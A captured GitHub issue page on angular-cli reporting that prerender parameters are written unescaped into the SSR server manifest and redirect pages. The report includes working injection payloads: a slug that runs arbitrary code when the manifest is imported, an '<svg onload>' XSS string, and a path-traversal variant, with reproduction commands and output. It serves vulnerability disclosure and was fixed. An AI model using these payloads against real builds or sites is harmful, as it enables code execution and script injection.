René's URL Explorer Experiment


Title: Angular SSR Unescaped prerender parameters enable RCE through generated manifests and XSS in redirect pages · Issue #34474 · angular/angular-cli · GitHub

Open Graph Title: Angular SSR Unescaped prerender parameters enable RCE through generated manifests and XSS in redirect pages · Issue #34474 · angular/angular-cli

X Title: Angular SSR Unescaped prerender parameters enable RCE through generated manifests and XSS in redirect pages · Issue #34474 · angular/angular-cli

Description: Command build Is this a regression? Yes, this behavior used to work in the previous version The previous version in which this bug was not present was No response Description ng build writes the values returned by getPrerenderParams() in...

Open Graph Description: Command build Is this a regression? Yes, this behavior used to work in the previous version The previous version in which this bug was not present was No response Description ng build writes the va...

X Description: Command build Is this a regression? Yes, this behavior used to work in the previous version The previous version in which this bug was not present was No response Description ng build writes the va...

Opengraph URL: https://github.com/angular/angular-cli/issues/34474

X: @github

direct link

Domain: github.com


Hey, it has json ld scripts:
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"Angular SSR Unescaped prerender parameters enable RCE through generated manifests and XSS in redirect pages","articleBody":"### Command\n\nbuild\n\n### Is this a regression?\n\n- [ ] Yes, this behavior used to work in the previous version\n\n### The previous version in which this bug was not present was\n\n_No response_\n\n### Description\n\n\n`ng build` writes the values returned by `getPrerenderParams()` into two generated files without escaping them:\n\n- the server manifest (`angular-app-manifest.mjs`), executable ESM that the SSR server imports;\n- the static redirect pages generated when prerendering.\n\nThose values are documented as application data, usually read from a service:\n\n```ts\nconst ids = await dataService.getIds();\nreturn ids.map((id) => ({ id }));\n```\n\nSo whoever controls that data, such as a CMS entry or a shared or compromised API, controls code and HTML that the build ships. One value is enough:\n\n| Value returned by `getPrerenderParams()`               | Result                                                                                                 |\n| ------------------------------------------------------ | ------------------------------------------------------------------------------------------------------ |\n| ``x'(){},[(function(){…})()](){},[`](){('``            | Runs arbitrary code in the SSR server when the manifest is imported, on the first request of any kind. |\n| `x\">\u003csvg onload=alert(1)>` with `outputMode: 'static'` | Injects markup into the generated redirect page: three `\u003csvg onload>` elements per page.               |\n\n**Server manifest.** `manifest.ts` interpolates the asset path, which is derived from the route, into the generated module twice: as the object key and inside the `import()` specifier.\n\n```ts\nserverAssets[file.path] =\n  `{size: ${size}, hash: '${file.hash}', text: () => import('./${jsChunkFilePath}').then(m => m.default)}`;\n// ...\n  .map(([key, value]) => `'${key}': ${value}`)\n```\n\nA lone `'` breaks the module. A value that parses in both positions does more. It closes the key, runs as a computed method name, then opens a template literal that swallows the second, mangled copy:\n\n```js\n'product/x'(){},[(function(){import('fs').then(function(f){f.writeFileSync('PWNED.txt','rce')})})()](){},[`](){('/index.html': {size: 975, hash: '5b338b119c4ac504', text: () => import('./assets-chunks/product_x'(){},[(function(){import('fs')_then(function(f){f_writeFileSync('PWNED_txt','rce')})})()](){},[`](){('_index_html.mjs').then(m => m.default)},\n```\n\n`node --check` passes, the build succeeds and the server boots. The code runs when Node first imports the manifest, which is the first request handled, whatever its status. A 404 runs it too. A few lines above, the same data reaches `routes:` through `JSON.stringify()`, where it is inert.\n\n**Redirect pages.** `utils.ts` builds the page without escaping:\n\n```ts\n    \u003cmeta http-equiv=\"refresh\" content=\"0; url=${url}\">\n    \u003cpre>Redirecting to \u003ca href=\"${url}\">${url}\u003c/a>\u003c/pre>\n```\n\nFor a relative `redirectTo` under a parameterized parent, `ng-routes.ts` substitutes the value into`url`, so the markup reaches all three positions. In a template, `{{ slug }}` escapes the very same value correctly.\n\n### Minimal Reproduction\n\n\nRepository: https://github.com/SkyZeroZx/angular-cli-prerender-param-injection-poc. \n\nThere the values arrive over HTTP from the application's own API.\n\n**1. Code execution through the manifest** (`outputMode: 'server'`)\n\n```ts\n// app.routes.ts\nexport const routes: Routes = [{ path: 'product/:slug', component: App }];\n\n// app.routes.server.ts\nexport const serverRoutes: ServerRoute[] = [\n  {\n    path: 'product/:slug',\n    renderMode: RenderMode.Prerender,\n    getPrerenderParams: async () => [\n      {\n        slug: \"x'(){},[(function(){import('fs').then(function(f){f.writeFileSync('PWNED.txt','rce')})})()](){},[`](){('\",\n      },\n    ],\n  },\n  { path: '**', renderMode: RenderMode.Prerender },\n];\n```\n\n```bash\nng build\nnode --check dist/repro-app/server/angular-app-manifest.mjs\nnode dist/repro-app/server/server.mjs &\ncurl -s -o /dev/null -w '%{http_code}\\n' http://localhost:4000/\nls PWNED.txt\n```\n\n```text\nPrerendered 1 static route.\nApplication bundle generation complete.\n\n404\nPWNED.txt\n```\n\nWith `slug: \"customer's-choice\"` instead, the build is still green and every request returns 500.\n\n**2. HTML injection in the redirect page** (`outputMode: 'static'`)\n\n```ts\n// app.routes.ts\nexport const routes: Routes = [\n  {\n    path: 'go/:slug',\n    children: [\n      { path: 'r', redirectTo: 'target' },\n      { path: 'target', component: App },\n    ],\n  },\n];\n\n// app.routes.server.ts\nexport const serverRoutes: ServerRoute[] = [\n  {\n    path: 'go/:slug',\n    renderMode: RenderMode.Prerender,\n    getPrerenderParams: async () => [{ slug: 'x\">\u003csvg onload=alert(1)>' }],\n  },\n  { path: '**', renderMode: RenderMode.Prerender },\n];\n```\n\n`dist/repro-app/browser/go/x\">\u003csvg onload=alert(1)>/r/index.html`:\n\n```html\n\u003cmeta http-equiv=\"refresh\" content=\"0; url=/go/x\">\u003csvg onload=alert(1)>/target\">\n...\n\u003cpre>Redirecting to \u003ca href=\"/go/x\">\u003csvg onload=alert(1)>/target\">/go/x\">\u003csvg onload=alert(1)>/target\u003c/a>\u003c/pre>\n```\n\nOn Windows, `\"`, `\u003c` and `>` are not valid in a file name. With a parent that only redirects, such as `{ path: 'go/:slug', children: [{ path: '', redirectTo: 'claimed', pathMatch: 'full' }] }`, appending `/../../safe` to the value keeps the markup out of the file name but in the page. `posix.join()` collapses the dot segments for the output path, while `joinUrlParts()` keeps them in the target, so the page lands at `go/safe/index.html` and is served at `/go/safe/`.\n\n\n### Your Environment\n\n```text\nAngular CLI 22.2.3\n@angular/build 22.2.3\n@angular/ssr 22.2.3\nNode.js 24.16.0\nnpm 11.13.0\nWindows 11 x64\nWSL Ubuntu\n```\n\n### Anything else relevant?\n\n_No response_","author":{"url":"https://github.com/SkyZeroZx","@type":"Person","name":"SkyZeroZx"},"datePublished":"2026-10-22T05:32:32Z","url":"https://github.com/angular/angular-cli/issues/34474"}

react-profiling0
react-import-mapreact,react-dom,react-dom/client,react-dom/profiling,react-is,react/compiler-runtime,react/jsx-dev-runtime,react/jsx-runtime,scheduler@b8488ee2c322
route-pattern/_view_fragments/issues/show/:user_id/:repository/:id/issue_layout(.:format)
route-controllervoltron_issues_fragments
route-actionissue_layout
fetch-noncev2:d2fec2ab-3671-ecbd-7faf-158c51fb0d62
current-catalog-service-hash81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114
request-id8E46:2E3A9:69DB73:9547D6:6AFDC123
html-safe-nonce2f8fffef775bd6f40c5cbad39ff0fc41749fbc7985266046cb86720a82eee077
visitor-payloadeyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI4RTQ2OjJFM0E5OjY5REI3Mzo5NTQ3RDY6NkFGREMxMjMiLCJ2aXNpdG9yX2lkIjoiNzYwNDMyMjY4MTIxMDM4ODc3MSIsInJlZ2lvbl9lZGdlIjoiaWFkIiwicmVnaW9uX3JlbmRlciI6ImlhZCJ9
visitor-hmac5744c56107acfb2cc4800e89a3074e9576e6b591e76f771757756b633b92bd53
hovercard-subject-tagissue:5973686390
github-keyboard-shortcutsrepository,issues,copilot
google-site-verificationApib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I
octolytics-urlhttps://collector.github.com/github/collect
analytics-location///voltron/issues_fragments/issue_layout
fb:app_id1401488693436528
apple-itunes-appapp-id=1477376905, app-argument=https://github.com/_view_fragments/issues/show/angular/angular-cli/34474/issue_layout
twitter:imagehttps://opengraph.githubassets.com/7002b8c6ffa3074c3b61ce72a8dd89baaded8ddd97e7103cfd8b9579cfe73343/angular/angular-cli/issues/34474
twitter:cardsummary_large_image
og:imagehttps://opengraph.githubassets.com/7002b8c6ffa3074c3b61ce72a8dd89baaded8ddd97e7103cfd8b9579cfe73343/angular/angular-cli/issues/34474
og:image:altCommand build Is this a regression? Yes, this behavior used to work in the previous version The previous version in which this bug was not present was No response Description ng build writes the va...
og:image:width1200
og:image:height600
og:site_nameGitHub
og:typeobject
og:author:usernameSkyZeroZx
hostnamegithub.com
expected-hostnamegithub.com
None35c6bf57da1370dc64866160540c0ee9f825f291935b3bf6ec5492b00e35f3a6
turbo-cache-controlno-preview
go-importgithub.com/angular/angular-cli git https://github.com/angular/angular-cli.git
octolytics-dimension-user_id139426
octolytics-dimension-user_loginangular
octolytics-dimension-repository_id36891867
octolytics-dimension-repository_nwoangular/angular-cli
octolytics-dimension-repository_publictrue
octolytics-dimension-repository_is_forkfalse
octolytics-dimension-repository_network_root_id36891867
octolytics-dimension-repository_network_root_nwoangular/angular-cli
turbo-body-classeslogged-out env-production page-responsive
disable-turbofalse
browser-stats-urlhttps://api.github.com/_private/browser/stats
browser-errors-urlhttps://api.github.com/_private/browser/errors
releaseab48c73a2978548773f5f24717ed9e58508befdb
ui-targetfull
theme-color#1e2327
color-schemelight dark
react-app-nameissues

Links:

Skip to contenthttps://github.com/angular/angular-cli/issues/34474#start-of-content
https://github.com/
Sign inhttps://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fangular%2Fangular-cli%2Fissues%2F34474
GitHubRepository hosting, code review, and collaborationhttps://github.com/platform
CopilotAI coding agent for tasks, projects, and automated workhttps://github.com/features/copilot
ActionsCI/CD and automationhttps://github.com/features/actions
Code QualityQuality analysis, fixes, and enforcementhttps://github.com/features/code-quality
CodespacesCloud development environmentshttps://github.com/features/codespaces
Code SecurityVulnerability detection and remediationhttps://github.com/security/advanced-security/code-security
Secret ProtectionSecret scanning and leak preventionhttps://github.com/security/advanced-security/secret-protection
All Featureshttps://github.com/features
Documentationhttps://docs.github.com/en
Traininghttps://learn.github.com/skills
Certificationshttps://learn.github.com/credentials
Build with Copilothttps://github.com/features/ai
Customize Copilothttps://docs.github.com/en/copilot/how-tos/copilot-on-github/customize-copilot/customize-copilot-overview
Integrationshttps://github.com/marketplace
Trending reposhttps://github.com/trending
GitHub Sponsorshttps://github.com/open-source/sponsors
Developer articleshttps://github.com/resources/articles
ChangelogYour source for the latest features, improvements, and fixes across GitHub products, all in one place.https://github.blog/changelog/
Enterpriseshttps://github.com/enterprise
Teamhttps://github.com/team
Startupshttps://github.com/enterprise/startups
Nonprofitshttps://github.com/solutions/industry/nonprofits
Healthcarehttps://github.com/solutions/industry/healthcare
Financial serviceshttps://github.com/solutions/industry/financial-services
Manufacturinghttps://github.com/solutions/industry/manufacturing
Governmenthttps://github.com/solutions/industry/government
See all industrieshttps://github.com/solutions/industry
Why GitHubhttps://github.com/why-github
Customer Storieshttps://github.com/customer-stories
Business insightshttps://github.com/solutions/executive-insights
Trust Centerhttps://github.com/trust-center
GitHub Advanced SecurityEnterprise-grade code securityhttps://github.com/security/advanced-security
Copilot for businessEnterprise-grade AI featureshttps://github.com/features/copilot/copilot-business
Premium SupportEnterprise-grade 24/7 supporthttps://github.com/enterprise/premium-support
Documentationhttps://docs.github.com/en
Resource centerhttps://github.com/resources
Bloghttps://github.blog/
Events & webinarshttps://github.com/resources/events
Community Forumhttps://github.com/orgs/community/discussions
Customer Storieshttps://github.com/customer-stories
Integrationshttps://github.com/marketplace
Customer supporthttps://help.github.com/
Traininghttps://learn.github.com/skills
GitHub Statushttps://www.githubstatus.com/
Abouthttps://github.com/about
Partnershttps://github.com/partners
Changeloghttps://github.blog/changelog/
GitHub UniverseThe event for developers, by developers — talks, workshops, and what’s next for GitHub.https://githubuniverse.com/
Pricinghttps://github.com/pricing
Sign inhttps://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fangular%2Fangular-cli%2Fissues%2F34474
Sign uphttps://github.com/signup?ref_cta=Sign+up&ref_loc=header+logged+out&ref_page=%2F%3Cuser-name%3E%2F%3Crepo-name%3E%2Fvoltron%2Fissues_fragments%2Fissue_layout&source=header-repo&source_repo=angular%2Fangular-cli
Reloadhttps://github.com/angular/angular-cli/issues/34474
Reloadhttps://github.com/angular/angular-cli/issues/34474
Reloadhttps://github.com/angular/angular-cli/issues/34474
angularhttps://github.com/angular
angular-clihttps://github.com/angular/angular-cli
Codehttps://github.com/angular/angular-cli
Issues196 (196)https://github.com/angular/angular-cli/issues
Pull requests20 (20)https://github.com/angular/angular-cli/pulls
Actionshttps://github.com/angular/angular-cli/actions
Security and quality8 (8)https://github.com/angular/angular-cli/security
Insightshttps://github.com/angular/angular-cli/insights
https://github.com/angular/angular-cli
New issuehttps://github.com/login?return_to=https://github.com/angular/angular-cli/issues/34474
New issuehttps://github.com/login?return_to=https://github.com/angular/angular-cli/issues/34474
#34493https://github.com/angular/angular-cli/pull/34493
#33248https://github.com/angular/angular-cli/pull/33248
Angular SSR Unescaped prerender parameters enable RCE through generated manifests and XSS in redirect pageshttps://github.com/angular/angular-cli/issues/34474#top
#34493https://github.com/angular/angular-cli/pull/34493
#33248https://github.com/angular/angular-cli/pull/33248
area: @angular/ssrhttps://github.com/angular/angular-cli/issues?q=state%3Aopen%20label%3A%22area%3A%20%40angular%2Fssr%22
needsTriagehttps://github.com/angular/angular-cli/milestone/11
https://github.com/SkyZeroZx
SkyZeroZxhttps://github.com/SkyZeroZx
on Oct 22, 2026https://github.com/angular/angular-cli/issues/34474#issue-5973686390
https://github.com/SkyZeroZx/angular-cli-prerender-param-injection-pochttps://github.com/SkyZeroZx/angular-cli-prerender-param-injection-poc
angular-robothttps://github.com/apps/angular-robot
area: @angular/ssrhttps://github.com/angular/angular-cli/issues?q=state%3Aopen%20label%3A%22area%3A%20%40angular%2Fssr%22
on Oct 22, 2026https://github.com/angular/angular-cli/issues/34474#event-33917546258
angular-robothttps://github.com/apps/angular-robot
needsTriagehttps://github.com/angular/angular-cli/milestone/11
on Oct 22, 2026https://github.com/angular/angular-cli/issues/34474#event-33917547651
SkyZeroZxhttps://github.com/SkyZeroZx
on Oct 22, 2026https://github.com/angular/angular-cli/issues/34474#event-33917785042
fix(@angular/build): escape prerender redirect URLshttps://github.com/SkyZeroZx/angular-cli/commit/641c9efdf9b1b181ea61af138d735c6515a33197
https://docs.github.com/articles/closing-issues-via-commit-messages
641c9efhttps://github.com/SkyZeroZx/angular-cli/commit/641c9efdf9b1b181ea61af138d735c6515a33197
fix(@angular/build): serialize server manifest asset pathshttps://github.com/SkyZeroZx/angular-cli/commit/1ff762a7c534c9c342b4105c4d22c6912fc9e4d9
https://docs.github.com/articles/closing-issues-via-commit-messages
1ff762ahttps://github.com/SkyZeroZx/angular-cli/commit/1ff762a7c534c9c342b4105c4d22c6912fc9e4d9
alan-agius4https://github.com/alan-agius4
completedhttps://github.com/angular/angular-cli/issues?q=is%3Aissue%20state%3Aclosed%20archived%3Afalse%20reason%3Acompleted
#34493https://github.com/angular/angular-cli/pull/34493
on Oct 26, 2026https://github.com/angular/angular-cli/issues/34474#event-34240546744
Sign up for freehttps://github.com/signup?return_to=https://github.com/angular/angular-cli/issues/34474
Sign in to commenthttps://github.com/login?return_to=https://github.com/angular/angular-cli/issues/34474
area: @angular/ssrhttps://github.com/angular/angular-cli/issues?q=state%3Aopen%20label%3A%22area%3A%20%40angular%2Fssr%22
needsTriageNo due datehttps://github.com/angular/angular-cli/milestone/11
https://github.com
Termshttps://docs.github.com/site-policy/github-terms/github-terms-of-service
Privacyhttps://docs.github.com/site-policy/privacy-policies/github-privacy-statement
Securityhttps://github.com/security
Statushttps://www.githubstatus.com/
Communityhttps://github.community/
Docshttps://docs.github.com/
Contacthttps://support.github.com?tags=dotcom-footer

Viewport: width=device-width


URLs of crawlers that visited me.